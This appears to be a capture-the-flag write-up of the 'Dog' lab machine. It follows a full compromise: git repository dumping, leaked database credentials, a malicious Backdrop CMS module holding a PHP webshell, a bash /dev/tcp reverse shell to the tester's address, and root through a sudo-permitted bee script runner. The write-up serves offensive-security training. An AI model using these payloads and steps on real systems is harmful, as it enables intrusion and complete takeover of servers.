12 July 2025

Dog

by 0xW1LD

Dog

Information Gathering

To start off we’re given an IP address:

1
10.129.218.143

Enumeration

nmap finds the following ports open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PORT   STATE SERVICE REASON         VERSION                                                                                                                                                    
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJ
CoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0
esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=                   
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=                             
|   256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-title: Home | Dog
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-git: 
|   10.129.218.143:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries 
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply 
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password 
|_/?q=user/register /?q=user/login /?q=user/logout
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dog Blog

When visiting the http server we’re greeted with a blog for dogs:

Dog-1741467459266.png

It’s created on Backdrop CMS

Dog-1741467506991.png

The nmap scan also revealed a .git directory

We can use git-dumper to download this repository:

1
2
3
4
5
6
7
8
9
10
11
git-dumper http://dog.htb/git/ git

[-] Testing http://dog.htb/.git/HEAD [200]
[-] Testing http://dog.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dog.htb/.git/ [200]
[-] Fetching http://dog.htb/.gitignore [404]
[-] http://dog.htb/.gitignore responded with status code 404
[-] Fetching http://dog.htb/.git/objects/ [200]
[-] Fetching http://dog.htb/.git/HEAD [200]
<SNIP>

Foothold

git repo

Looking around at the files in the git repository we can find a password in settings.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat settings.php

<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */
  
/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

BackDropJ2024DS2024

Additionally we can find a user in files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json

{
    "_config_name": "update.settings",
    "_config_static": true,
    "update_cron": 1,
    "update_disabled_extensions": 0,
    "update_interval_days": 0,
    "update_url": "",
    "update_not_implemented_url": "https://github.com/backdrop-ops/backdropcms.org/issues/22",
    "update_max_attempts": 2,
    "update_timeout": 30,
    "update_emails": [
        "tiffany@dog.htb"
    ],
    "update_threshold": "all",
    "update_requirement_type": 0,
    "update_status": [],
    "update_projects": []
}

We can use these credentials in the Login Page which we can find in robots.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
cat robots.txt

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /core/
Disallow: /profiles/
# Files
Disallow: /README.md
Disallow: /web.config
# Paths (clean URLs)
Disallow: /admin
Disallow: /comment/reply
Disallow: /filter/tips
Disallow: /node/add
Disallow: /search
Disallow: /user/register
Disallow: /user/password
Disallow: /user/login
Disallow: /user/logout
# Paths (no clean URLs)
Disallow: /?q=admin
Disallow: /?q=comment/reply
Disallow: /?q=filter/tips
Disallow: /?q=node/add
Disallow: /?q=search
Disallow: /?q=user/password
Disallow: /?q=user/register
Disallow: /?q=user/login
Disallow: /?q=user/logout

We’ve successfully entered the admin dashboard!:

Dog-1741468980293.png

admin dashboard

Looking around we notice that we can install modules:

Dog-1741469088198.png

There aren’t any custom modules we can find:

Dog-1741469167591.png

However we can do a manual installation which will allow us to upload a custom module:

Dog-1741469200890.png

Looking around for exploits for this we can find BackdropCMS 1.27.1 Authenticated RCE We can confirm our version is the vulnerable version and checking out one of the modules:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat core/modules/user/user.info

type = module
name = User
description = Manages the user registration and login system.
package = System
tags[] = Account Management
version = BACKDROP_VERSION
backdrop = 1.x
required = TRUE

configure = admin/config/people

stylesheets[all][] = css/user.css

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662

Although a full automation PoC is provided I prefer to do it manually.

So let’s create our poc.info file in a poc directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat poc/poc.info

type = module
name = poc
description = Manages the user registration and login system.
package = Layouts
tags[] = Blocks
version = BACKDROP_VERSION
backdrop = 1.x

configure = admin/structure/poc

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662

Next let’s create our poc.php file in the same directory:

1
2
3
cat poc/poc.php 

<?php system($_GET['cmd'])?>

Let’s compress the poc folder:

1
2
3
4
5
tar -czvf poc.tar.gz poc

poc/
poc/poc.php
poc/poc.info

And let’s upload and install the compressed module:

Dog-1741470266260.png

Success!

Dog-1741470235420.png

We now have a webshell!

1
2
3
curl http://dog.htb/modules/poc/poc.php?cmd=whoami

www-data

Let’s instead upload a poc with our reverse shell command:

1
2
3
cat poc/poc.php

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001 0>&1'")?>

Let’s setup a listener for our reverse shell:

1
nc -lvnp 9001

When we follow the steps to upload the module we get a reverse shell on our listener:

1
2
3
4
5
6
7
nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.218.143] 53108
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/poc$ 

User

We can find a couple users:

1
2
3
4
5
www-data@dog$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

When attempting to reuse the previously found password we find that it belongs to johncusack

1
2
3
4
5
www-data@dog$ su johncusack

Password: BackDropJ2024DS2024
whoami
johncusack

Let’s ssh for a more stable shell:

1
ssh johncusack@dog.htb

Just like that we have User!

Root

We can see that user johncusack can perform the following commands as root:

1
2
3
4
5
6
7
johncusack@dog$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

Let’s take a look at the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
johncusack@dog$ cat /usr/local/bin/bee

#!/usr/bin/env php
<?php
/**
 * @file
 * A command line utility for Backdrop CMS.
 */

// Exit gracefully with a meaningful message if installed within a web
// accessible location and accessed in the browser.
if (!bee_is_cli()) {
  echo bee_browser_load_html();
  die();
}

// Set custom error handler.
set_error_handler('bee_error_handler');

// Include files.
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/globals.inc';

// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();

/**
 * Custom error handler for `bee`.
 *
 * @param int $error_level
 *   The level of the error.
 * @param string $message
 *   Error message to output to the user.
 * @param string $filename
 *   The file that the error came from.
 * @param int $line
 *   The line number the error came from.
 * @param array $context
 *   An array of all variables from where the error was triggered.
 *
 * @see https://www.php.net/manual/en/function.set-error-handler.php
 * @see _backdrop_error_handler()
 */
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
  require_once __DIR__ . '/includes/errors.inc';
  _bee_error_handler_real($error_level, $message, $filename, $line, $context);
}

/**
 * Detects whether the current script is running in a command-line environment.
 */
function bee_is_cli() {
  return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

/**
 * Return the HTML to display if this page is loaded in the browser.
 *
 * @return string
 *   The concatentated html to display.
 */
function bee_browser_load_html() {
  // Set the title to use in h1 and title elements.
  $title = "Bee Gone!";
  // Place a white block over "#!/usr/bin/env php" as this is output before
  // anything else.
  $browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'>&nbsp;</div>";
  // Add the bee logo and style appropriately.
  $browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
  // Add meaningful text.
  $browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
  $browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
  // Add the document title using javascript when the window loads.
  $browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
  // Output the combined string.
  return $browser_output;
}

Looking at the help for bee we can see that we can execute an arbitrary php-script:

1
2
3
  php-script
   scr
   Execute an arbitrary PHP file after bootstrapping Backdrop.

So let’s reuse our poc.php here:

1
2
3
cat poc.php

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001 0>&1'")?>

Secondly let’s ensure that we are in the correct directory:

1
cd /var/www/html

We do this because the binary looks to include several files in that directory and must pass the evaluation before running our script

Let’s run the script:

1
john@dog$ sudo bee scr /home/johncusack/poc.php

Success! we get a response on our listener:

1
2
3
4
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.218.143] 45186
root@dog:/var/www/html#  

Just like that we have Root!

tags: diff/easy - os/linux